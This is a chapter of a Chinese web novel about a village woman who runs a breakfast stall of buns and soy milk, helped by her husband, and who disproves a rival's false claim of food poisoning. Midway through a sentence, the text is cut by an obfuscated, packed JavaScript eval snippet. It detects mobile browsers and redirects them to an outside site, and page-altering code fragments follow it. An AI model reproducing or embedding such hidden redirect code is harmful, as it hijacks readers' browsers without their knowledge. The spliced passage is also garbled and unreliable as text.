17. 第17章
作品:《农门小娘子》 “我没有银子。”田氏终于狠下心,一字一句地说道,“家里的存粮不多了,还要留着过冬,你要是还有点良心,就自己想办法挣钱还债,别再指望我。”
简福海猛地抬起头,眼中闪过一丝狠厉:“娘,您怎么能这么说?我可是您的亲儿子!您不管我,谁管我?难道您真的眼睁睁看着我去死吗?”他挣扎着想要爬起来,却因为浑身无力又重重摔了下去。
她深吸一口气,将涌到眼眶的泪意强压下去,声音带着一丝不易察觉的颤抖:“我不是不管你,是实在管不了了,我这把老骨头已经跟周围都借了一遍,现在谁还敢借给我们啊。你是我身上掉下来的肉,我怎么会眼睁睁看着你去死?可你得自己争点气啊,不能总想着走歪门邪道,更不能把这个家拖垮!”说完,她别过头,不再看简福海那张写满怨怼的脸,只是死死地攥着手里的粗布围裙,指节因为用力而微微发白。
屋外的风呜呜地刮着,田氏的心也跟着一点点往下沉,她闭了闭眼,这个大儿子真的没得救了,往后的日子该怎么办啊?
--------------
简玉满休息了两三天,待天气好转,她便又开始制作包子和豆浆,当作早餐售卖。
田福村李家村有一些壮汉会不时前往城镇打短时工。他们早起时,家中往往来不及准备早餐,便随便吃点糊弄过去就出门了。简玉满敏锐地捕捉到这一商机,她到山上砍回一些竹筒,将豆浆磨好熬热后盛在竹筒里,方便那些人边走边吃,节省了不少时间。
简玉满还为自己做了宣传,告知大家若她未出摊,可前往她家购买。
她的家位于村头,那些要去城镇的人必定会经过此处,如此一来,她便占据了地利人和的优势。
不到半个月,简玉满数了数钱袋子里的碎银,约莫有一二两了。
纪元年劝她不要过于操劳,起早贪黑对身体无益。
简玉满却不觉得辛苦,她认为赚钱本就如此,遇到好时机就得立刻抓住,否则稍纵即逝。毕竟那些去城镇打工的人并非时常前往,而是镇上有体力活需求时,才会在村里组队一窝蜂地去。
为了能在这段时间能把早餐做起来,简玉满每天寅时就起床忙活。
她先是挑好黄豆,用清水浸泡后用石磨细细研磨,磨出的豆浆浓醇细腻。接着,她便开始和面、发面,等面团发得恰到好处时,就娴熟地包起包子,馅料有鲜香的猪肉大葱馅,还有清爽的韭菜鸡蛋馅,满足不同人的口味。蒸包子的大锅冒着热气,整个屋子都弥漫着食物的香气。等包子蒸熟、豆浆熬好,她便麻利地将豆浆装进一个个洗刷干净的竹筒里,包子则整齐地摆放在铺着干净粗布的竹篮中。
做完这些,天边才刚泛起一丝鱼肚白,她便挑着担子,来到村口的老槐树下,那里是壮汉们集合出发的地方,也是她的“固定摊位”。
每当看到那些壮汉们手持热气腾腾的竹筒豆浆、品尝着香喷喷的包子,而自己口袋里的银子也在逐渐增多,简玉满便满心都是干劲。
李家村有人瞧见简玉满的早餐摊如此赚钱,都想分一杯羹,有的做了馒头,有的煮了稀饭,然而都不如简玉满的摊位卖得好。
不过,效仿的人太多会影响自己的利润,简玉满自然懂得见好就收。
再过四五天后,她便不再出摊卖早餐了。
差不多摆了一个月的早餐摊,纪元年始终都在帮忙。
起初只是在她忙不过来时搭把手,后来便成了每日清晨雷打不动的帮手。
他会把水缸盛满水,提前将黄豆清洗干净,在她揉面时默默添柴烧火;待包子出笼后,又细心地用布巾擦去竹篮边缘的水汽。
收摊回家的路上,他总不忘捡些枯枝败叶,可以当柴火用;有时还会变戏法似的从怀里掏出几颗野枣,塞到简玉满手里,看着她吃得眉眼弯弯,自己也跟着笑。
想想这一切,简玉满心里暖烘烘的,这一个月若没有他,自己怕是要累垮了。
纪元年能做到这一步,着实让简玉满始料未及。可她没办法送给他珍贵的东西,只能在伙食上多下功夫,每一餐都尽量不重样。一段时间过去,纪元年似乎比刚见面时壮实了不少,这也算是不错的回报了。
简玉满越看纪元年越觉得他帅气,尤其是在闲暇之时,两人坐在后院聊天,简玉满目不转睛地盯着他看,纪元年好像也习惯了这样的眼神,竟不再脸红耳赤。
两人越来越像一对寻常夫妻。
陈碧玉私下里跟简玉满说,他们俩天造地设,旁人都羡慕不已。还有那个白青竹,总是在打听纪元年的消息。
“阿满,白青竹是不是特别不要脸呀?一个姑娘家居然做出这种事情。”
“玉姐姐,您别生气,她爱做什么就做什么,咱们也管不了。”
简玉满心里自然清楚,每本小说里总会有那么几个爱挑事的角色,不然要是没有冲突,也就没多少人愿意看了。
白青竹就是这类角色,所以简玉满一直都不想和她有什么交集,还叮嘱碧玉别去搭理她。
“可她也不能在背后说长道短啊,这样会坏了你和你夫君的名声。”
有人告诉陈碧玉,白青竹到处宣扬阿满做的早食不干净,致使她的亲戚吃坏了肚子,跑了好几趟茅厕,整个人虚弱不堪,还花了银子请大夫看病,说要上门找阿满理论。
“玉姐姐,让她来便是,我并不惧怕。况且这几日我都没出摊,她亲戚怎么可能是吃了我的包子才生病的呢?”
陈碧玉仔细一想,觉得确实如此,这分明就是污蔑。阿满已经好几天没摆早食摊了,她完全可以为阿满作证,就算她说的别人不相信,还有其他村民可以作证。
陈碧玉想通之后,挠了挠后脑勺,笑着说道:“阿满,我一着急就犯糊涂了。”
简玉满安慰道:“玉姐姐是因为担心我,才会如此着急。咱们不用理会那个白青竹,她说的话没人会相信。”
简玉满向来做事规规矩矩,向来很难挑出毛病,更何况她做的是入口的吃食,哪能胡乱行事呢。
开摊那会儿,她每日选用的都是最新鲜的食材,黄豆是自己种的,面粉是从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486366|185412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镇上粮铺精挑细选的好面,就连馅料也是她去集市挑拣的新鲜货色;磨豆浆的石磨会仔细清洗干净,不留一丝残渣,纪元年都帮忙收拾了好几回;装豆浆的竹筒,更是用沸水烫过一遍又一遍;蒸包子的蒸笼布,也是每日一换洗干净,绝不让半点污渍沾染到包子上。
白青竹这番操作,明眼人一听便知是无稽之谈,她不过是见不得简玉满日子过得好了,心生嫉妒,才想出这么拙劣的法子来诋毁罢了。
---------
田福村的村民大多淳朴,谁没见过简玉满每日天不亮就起身忙活,又是挑拣黄豆又是清洗石磨,那竹筒子也是每日用沸水烫得干干净净的。再说,她的包子豆浆卖了近半个月,村里村外吃了的人没有一个说不好的,反而都夸她手艺好,食材干净。
白青竹见没人信她的话,心里更气,索性真的带着她那个“生病”的亲戚找上门来。那亲戚穿着打补丁的粗布衣裳,脸色蜡黄,捂着肚子哎哟哎哟地叫唤,一进门就嚷嚷着要简玉满赔钱。
简玉满正在院子里晒豆子,见白青竹带人过来,也不慌,只是淡淡道:“这位大哥,我这几日都没出摊,你说吃了我的包子生病,敢问是哪一日吃的?我好查查那日的食材可有问题。”
那亲戚被问得一噎,眼神闪烁,支支吾吾说不上来。
白青竹忙抢话道:“就是前几日!我表哥吃了你的包子,回去就上吐下泻!你别想狡辩!”
白青竹这副嘴脸根本与当日判若两人,简玉满看了觉得很无奈,冷笑一声:“前几日?我最后一次出摊是五天前,这几日我连面都没和过,不信你问我家夫君,或者问问村口路过的婶子们,她们都能作证。倒是你这位亲戚,看着病恹恹的,怎么走路还这么有力气?刚才进门那几步,可不像是跑了好几趟茅厕的人。”
正说着,纪元年从外面回来了,见这阵仗,眉头一皱,挡在简玉满身前:“你们要做什么?我娘子一向老实本分,绝不会卖不干净的吃食。谁要是敢污蔑她,我纪元年第一个不答应!”
村里的人听到动静后纷纷围拢过来,陈碧玉更是双手叉腰,大声骂道:“白青竹,你到底安的什么心!阿满都收摊好几天了,你亲戚从哪儿弄来的包子吃?我看你就是嫉妒阿满!”
那位被白青竹称作表哥的人,见围过来的人越来越多,而且每个人都用怀疑的目光看着他,顿时心里有些发虚,原本喊疼的肚子也不疼了。他拉着白青竹的袖子,小声说道:“白姑娘,要不咱们还是走吧……”
白青竹又羞又恼,可此时已是骑虎难下,只能硬着头皮说道:“你们……你们都偏袒她!我表哥就是吃了她的包子才生病的!”然而,她的声音越来越小,根本没人相信她的话。
那个“表哥”实在装不下去了,灰溜溜地跑掉了,白青竹不得不追了上去。
纪元年看着简玉满,眼中满是心疼,轻声说道:“阿满,以后再遇到这种事,别一个人扛着,等我回来。”
简玉满笑着摇了摇头,说:“我不怕,身正不怕影子斜。再说,不是还有你在吗?”